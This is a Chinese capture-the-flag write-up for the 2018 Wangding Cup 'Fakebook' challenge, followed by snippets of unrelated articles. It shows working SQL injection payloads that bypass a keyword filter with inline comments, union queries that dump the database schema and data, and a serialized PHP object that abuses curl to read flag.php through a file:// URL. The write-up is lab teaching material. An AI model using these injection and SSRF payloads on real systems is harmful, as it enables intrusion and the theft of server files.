当前位置: 首页 > news >正文

[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

 打开环境出现一个登录注册的页面        

在登录和注册中发现 了地址栏出现变化,扫一波看看

898e260f778946408418a2ffc458e78d.png

 5465e8d10b97457b8978ec2e8c1d446d.png

看看robots.txt和flag.php    访问robots.txt看看

cd295b0ee383403481cedbd26c4eea04.png

再访问user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 想起来刚刚有一个注册的,先注册一个看看

填的时候可以随便复制一篇内容过去看看,这样才能进行注册

f820601849ad47bfa1497fbcc1a8e7e0.png

并且发现一个注入点,尝试一下简单的注入

order by 4#     页面回显正常

order by 5#     页面回显不正常

说明有四个字段

union查看显位

?no=1 union select 1,2,3,4#                  no hack ~_~
?no=1 ununionion seselectlect database();    no
?no=1 uNion sElEct database();               no
?no=1 union/**/select 1,2,3,4#               yes
?no=0 union/**/select 1,database(),3,4#      yes
 

测试中发现过滤了空格

17799aa32ecd4ea29015c6662756c213.png

回显的位置是2

库表字段内容

爆库:?no=-1 union/**/select 1,database(),3,4#
报表:?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆字段:?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
爆data值:?no=-1 union/**/select 1,group_concat(data),3,4 from users #

26037424baaa45f8ab6814e4a0d58fa9.png

 1b1c52b29b8f4c44bdf38ecaffe7541b.png

以为会出现内容,但是发现没有结果,得到了一串序列化的字符串

刚刚的提到的.bak文件,这个应该会和刚刚的有关

发现在get方法中,curl_exec()如果使用不当就会导致ssrf漏洞

有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容。

可以用file协议利用ssrf漏洞读取文件,再通过序列化去读取flag.php

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:83:"file:///var/www/html/flag.php";}'#

afe8af24987942d398b882d137cfcb6a.png

出现view.php

15292e041f974f87bf491334b11c96f7.png

 

 

 

相关文章:

[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook 打开环境出现一个登录注册的页面 在登录和注册中发现 了地址栏出现变化&#xff0c;扫一波看看 看看robots.txt和flag.php 访问robots.txt看看 再访问user.php.bak <?php class UserInfo { public $name ""; public …...

微信小程序蓝牙连接 uniApp蓝牙连接设备

蓝牙列表期待效果 代码 <template><view class"bluetooth-list"><view class"align-items option" style"justify-content: space-between;" v-for"item in bluetoothList" :key"item.deviceId"><vie…...

启动Dubbo项目注册Zookeeper时提示zookeeper not connected异常原理解析

原创/朱季谦 遇到一个很诡异的问题&#xff0c;我在启动多个配置相同zookeeper的Dubbo项目时&#xff0c;其他项目都是正常启动&#xff0c;唯独有一个项目在启动过程中&#xff0c;Dubbo注册zookeeper协议时&#xff0c;竟然出现了这样的异常提示—— Caused by: java.lang.…...

我在Vscode学OpenCV 几何变换(缩放、翻转、仿射变换、透视、重映射)

几何变换指的是将一幅图像映射到另一幅图像内的操作。 cv2.warpAffine&#xff1a;使用仿射变换矩阵对图像进行变换&#xff0c;可以实现平移、缩放和旋转等操作。cv2.warpPerspective&#xff1a;使用透视变换矩阵对图像进行透视变换&#xff0c;可以实现镜头校正、图像纠偏等…...

MATLAB算法实战应用案例精讲-【图像处理】图像缩放

目录 前言 知识储备 MATLAB图像处理函数 数字数字图像增强 数字数字图像的变换...

Doris的PROPERTIES与ENGINE(九)

接上篇----------Doris分区与分桶 在建表语句的最后 PROPERTIES 中&#xff0c;可以指定以下两个参数&#xff1a; replication_num 每个 Tablet 的副本数量。默认为 3&#xff0c;建议保持默认即可。在建表语句中&#xff0c;所有 Partition 中的 Tablet 副本数量统一指定。…...

华为云数据库 RDS 下载全量备份文件 wget

地址下载 wget -O FILE_NAME --no-check-certificate "DOWNLOAD_URL"FILE_NAME&#xff1a;重命名&#xff0c;例如mysql1121.qpDOWNLOAD_URL: 地址下载 参考 华为云数据库 RDS 下载全量备份文件...

C#使用whisper.net实现语音识别(语音转文本)

目录 介绍 效果 输出信息 项目 代码 下载 介绍 github地址&#xff1a;https://github.com/sandrohanea/whisper.net Whisper.net. Speech to text made simple using Whisper Models 模型下载地址&#xff1a;https://huggingface.co/sandrohanea/whisper.net/tree…...

从零开始学习typescript——运算符(算术运算符、赋值运算符、比较运算符)

算术运算符 算术运算符主要是针对数值类型和长整型&#xff1b;包括有加法、减法、乘法、除法、自增、自减等运算 加法&#xff08;&#xff09; let x:number1let y:number 2console.log(xy)减法&#xff08;-&#xff09; let x:number1let y:number 2console.log(y-x)乘法…...

likeshop单商户商城系统 任意文件上传漏洞复现

0x01 产品简介 likeshop单商户标准商城系统适用于B2C、单商户、自营商城场景。完美契合私域流量变现闭环交易使用。 系统拥有丰富的营销玩法&#xff0c;强大的分销能力&#xff0c;支持电子面单和小程序直播等功能。无论运营还是二开都是性价比极高的100%开源商城系统。 0x02…...

CentOS 7 使用pugixml 库

安装 pugixml Git下载地址&#xff1a;https://github.com/zeux/pugixml 步骤1&#xff1a;首先&#xff0c;你需要下载pugixml 的源代码。你可以从Github或者源代码官方网站下载。并上传至/usr/local/source_code/ 步骤2&#xff1a;下载完成后&#xff0c;需要将源代码解压…...

深度学习 loss 是nan的可能原因

1 loss 损失值非常大&#xff0c;超过了浮点数的范围&#xff0c;所以表示为overflow 状态下的男。 解决办法&#xff1a; 减小学习率&#xff0c;观察loss值是不是还是nan 在将数据输入模型前&#xff0c;进行恰当的归一化 缩放 2 loss 的计算中存在除以0&#xff0c; log(0…...

[ 云计算 | AWS 实践 ] 基于 Amazon S3 协议搭建个人云存储服务

本文收录于【#云计算入门与实践 - AWS】专栏中&#xff0c;收录 AWS 入门与实践相关博文。 本文同步于个人公众号&#xff1a;【云计算洞察】 更多关于云计算技术内容敬请关注&#xff1a;CSDN【#云计算入门与实践 - AWS】专栏。 本系列已更新博文&#xff1a; [ 云计算 | …...

第二十章:多线程

进程 线程的特点 1.进程是资源分配的最小单位&#xff0c;线程是最小的执行单位 2.一个进程可以有多个线程 3.线程共享进程资源 package twentyth; public class ThreadTest extends Thread { public void run() { for (int i 1; i < 10; i) {//继承重…...

CentOS 7启动时报“Started Crash recovery kernel arming.....shutdown....”问题处理过程

有台虚拟机由于CPU负载过高而宕机&#xff0c;宕机重启后停在“Started Crash recovery kernel arming…shutdown…”阶段&#xff0c;如下所示&#xff1a; 重置虚拟机&#xff0c;进入grub菜单&#xff0c;按e编辑启动选项&#xff0c;在linux16 行末&#xff0c;加上&…...

Android 13 - Media框架(14)- OpenMax(二)

这一节我们将来解析 media.codec 这个 HIDL service 究竟提供了什么服务&#xff0c;服务是如何启动的。 1、main 函数 我们先来看 frameworks/av/services/mediacodec/main_codecservice.cpp&#xff1a; int main(int argc __unused, char** argv) {strcpy(argv[0], "…...

【Python大数据笔记_day11_Hadoop进阶之MR和YARNZooKeeper】

MR 单词统计流程 已知文件内容: hadoop hive hadoop spark hive flink hive linux hive mysql ​ input结果: k1(行偏移量) v1(每行文本内容)0 hadoop hive hadoop spark hive 30 flink hive linux hive mysql map结果:k2(split切割后的单词) v2(拼接…...

飞桨——总结PPOCRLabel中遇到的坑

操作系统&#xff1a;win10 python环境&#xff1a;python3.9 paddleocr项目版本&#xff1a;2.7 1.报错&#xff1a;ModuleNotFoundError: No module named Polygon&#xff08;已解决&#xff09; 已解决所以没有复现报错内容 尝试方法一&#xff1a;直接使用pip命令安装&…...

LeetCode(30)长度最小的子数组【滑动窗口】【中等】

目录 1.题目2.答案3.提交结果截图 链接&#xff1a; 长度最小的子数组 1.题目 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其总和大于等于 target 的长度最小的 连续子数组 [numsl, numsl1, ..., numsr-1, numsr] &#xff0c;并返回其长度。如果…...

Niushop 开源商城 v5.1.7:支持PC、手机、小程序和APP多端电商的源码

Niushop 系统是一款基于 ThinkPHP6 开发的电商系统&#xff0c;提供了丰富的功能和完善的商品机制。该系统支持普通商品和虚拟商品&#xff0c;并且针对虚拟商品还提供了完善的核销机制。同时&#xff0c;它也支持新时代的商业模式&#xff0c;如拼团、分销和多门店砍价等营销活…...

AutoCAD二次开发:用AutoLISP命令行和符号表,5分钟搞定图层、线型、字体样式自动化配置

AutoCAD二次开发实战&#xff1a;用AutoLISP实现图层与样式配置自动化 在工程设计领域&#xff0c;图纸标准化是团队协作的基石。每当启动新项目或接收外部图纸时&#xff0c;工程师们常陷入重复劳动——手动创建几十个图层、加载线型、配置文字样式。这种机械操作不仅耗时&…...

Agent 一接下拉选择器就开始选错项:从 Option Grounding 到 Commit Fence 的工程实战

很多团队把浏览器 Agent 接进运营后台后&#xff0c;最容易低估的不是按钮&#xff0c;而是下拉选择器。⚠️ 页面上明明看到了“华东一区”或“标准版”&#xff0c;提交后落库的却是另一个同名选项&#xff0c;最后一路传导到权限和审批流配置。 人类在选下拉项时&#xff0c…...

通达信缠论可视化分析插件:5分钟掌握专业交易信号

通达信缠论可视化分析插件&#xff1a;5分钟掌握专业交易信号 【免费下载链接】Indicator 通达信缠论可视化分析插件 项目地址: https://gitcode.com/gh_mirrors/ind/Indicator 还在为复杂的缠论分析而苦恼吗&#xff1f;想要快速识别市场中枢和买卖信号却无从下手&…...

三步掌握AI象棋:Vin象棋智能连线工具的终极实战指南

三步掌握AI象棋&#xff1a;Vin象棋智能连线工具的终极实战指南 【免费下载链接】VinXiangQi Xiangqi syncing tool based on Yolov5 / 基于Yolov5的中国象棋连线工具 项目地址: https://gitcode.com/gh_mirrors/vi/VinXiangQi 你是否曾在下棋时陷入困境&#xff1f;面对…...

Tiny11Builder:Windows 11系统精简与定制化构建的完整解决方案

Tiny11Builder&#xff1a;Windows 11系统精简与定制化构建的完整解决方案 【免费下载链接】tiny11builder Scripts to build a trimmed-down Windows 11 image. 项目地址: https://gitcode.com/GitHub_Trending/ti/tiny11builder Tiny11Builder是一个基于PowerShell的开…...

国密算法合规审计倒计时!Python服务未启用SM4-GCM加密将被一票否决?5类高危配置立即自查

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;国密算法合规审计的政策背景与Python服务风险全景 近年来&#xff0c;随着《密码法》《数据安全法》及《商用密码管理条例》的全面施行&#xff0c;国密算法&#xff08;SM2/SM3/SM4&#xff09;已成为…...

BetterGI 0.44.3版本生存位切换异常:问题分析与完整解决方案

BetterGI 0.44.3版本生存位切换异常&#xff1a;问题分析与完整解决方案 【免费下载链接】better-genshin-impact &#x1f4e6;BetterGI 更好的原神 - 自动拾取 | 自动剧情 | 全自动钓鱼(AI) | 全自动七圣召唤 | 自动伐木 | 自动刷本 | 自动采集/挖矿/锄地 | 一条龙 | 全连音…...

对比直接使用原生API体验Taotoken在路由与稳定性上的提升

Taotoken 聚合端点稳定性体验观察 1. 平台路由机制概述 Taotoken 作为大模型聚合分发平台&#xff0c;其核心价值之一在于为开发者提供统一接入点。通过平台内置的路由机制&#xff0c;开发者无需手动处理不同厂商 API 的切换问题。当某个服务端点出现临时不可用情况时&#…...

大模型在物理领域的评估与应用实践

1. 大模型在物理领域的评估现状物理学科作为基础科学的代表&#xff0c;其研究范式正在经历人工智能技术带来的深刻变革。最近一年&#xff0c;各类大语言模型在物理问题求解、文献理解、公式推导等方面展现出令人惊讶的潜力。但不同模型架构在物理专业场景下的表现差异显著&am…...

给ESP32S3 NES模拟器换“皮肤”:手把手教你修改调色板解决SPI屏颜色错乱

ESP32S3 NES模拟器显示调校实战&#xff1a;从颜色错乱到完美呈现的深度解决方案 当8位像素风格的超级玛丽在ESP32S3驱动的SPI屏幕上跳跃时&#xff0c;本该鲜亮的红色工装裤却变成了诡异的蓝色&#xff0c;绿色水管泛着紫光——这种"抽象派"画风绝非怀旧游戏的本意。…...